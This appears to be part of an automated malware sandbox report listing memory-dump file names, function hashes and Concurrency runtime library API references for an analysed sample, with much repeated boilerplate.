Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 33ffb099b163d1331e9a5a34715401292f2fc10e202f18243ebf383b2e4a241d
Instruction ID: b9a54455f4c8544304c07d173562fe4c517441f1f69323ebca6d219a80fc27b0
Opcode Fuzzy Hash: 33ffb099b163d1331e9a5a34715401292f2fc10e202f18243ebf383b2e4a241d
Instruction Fuzzy Hash: 76219C315006149FCB25EF66D8A08ABB3F5FF48704700455FE542A7B51CB78F905CBAA

Function 004D4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 004D4893
ListArray.LIBCONCRT ref: 004D48A5

Part of subcall function 004D5555: _InternalDeleteHelper.LIBCONCRT ref: 004D5564

ListArray.LIBCONCRT ref: 004D48AF
_InternalDeleteHelper.LIBCONCRT ref: 004D48C8

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 949ad94ad9a1872470dbb3a7a5507b735f54dff05af7d57c00ccbf66b3d3169b
Instruction ID: 2653a92ae6a265802f37a49e572f2818ab1f003c283807e610660e0f06547542
Opcode Fuzzy Hash: 949ad94ad9a1872470dbb3a7a5507b735f54dff05af7d57c00ccbf66b3d3169b
Instruction Fuzzy Hash: 4501F7756005217FCA127B55D9A2E2AB72ABF84754300002FF50457715CF28FC11D6A4

Function 004DEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 004DEE6A
ListArray.LIBCONCRT ref: 004DEE7C

Part of subcall function 004DEF29: _InternalDeleteHelper.LIBCONCRT ref: 004DEF3B

ListArray.LIBCONCRT ref: 004DEE86
_InternalDeleteHelper.LIBCONCRT ref: 004DEE9F

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 11c0076b9f4d5d1f6d3fec3ed38fc37ae4c355109335d9b8fe309db5faf5e6b1
Instruction ID: 35f47cb6f0e2ab8bee21032a5be9536adc7c76e79e602cf9789852b271bf9bf0
Opcode Fuzzy Hash: 11c0076b9f4d5d1f6d3fec3ed38fc37ae4c355109335d9b8fe309db5faf5e6b1
Instruction Fuzzy Hash: BF01A771600621BBCA157B63C9D2D6ABB69FF85714300002FF5049B712CB28FC1296E4

Function 004DD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 004DD0C5
ListArray.LIBCONCRT ref: 004DD0D7

Part of subcall function 004DC6B2: _InternalDeleteHelper.LIBCONCRT ref: 004DC6C4

ListArray.LIBCONCRT ref: 004DD0E1
_InternalDeleteHelper.LIBCONCRT ref: 004DD0FA

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 032332848ca2137df70fdd7d5999c73aa569a34e1402623bb0af1ec1821641ba
Instruction ID: 05e7c96b7ea86e408e3ce008de87fed7f6fe1b291fea203420121087bef21d51
Opcode Fuzzy Hash: 032332848ca2137df70fdd7d5999c73aa569a34e1402623bb0af1ec1821641ba
Instruction Fuzzy Hash: 6201A771B005226BCA267B61C9D2D6EBB6AFF84718700102FF90057711DB28EC52C6A8

Function 004E33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 004E33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 004E33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 004E3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004E341F

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 1ed0bec55fb7a02912e79904c8be7e84832f71a75d0f635056f8670366c0bfba
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 8A01FD32600554ABCB17EE678845EAFB7A99F44316F00005BFC12AB382DA74EE0196E9

Function 004D9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 004D9519

Part of subcall function 004CF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 004D5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 004D953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 004D9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 004D9559

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
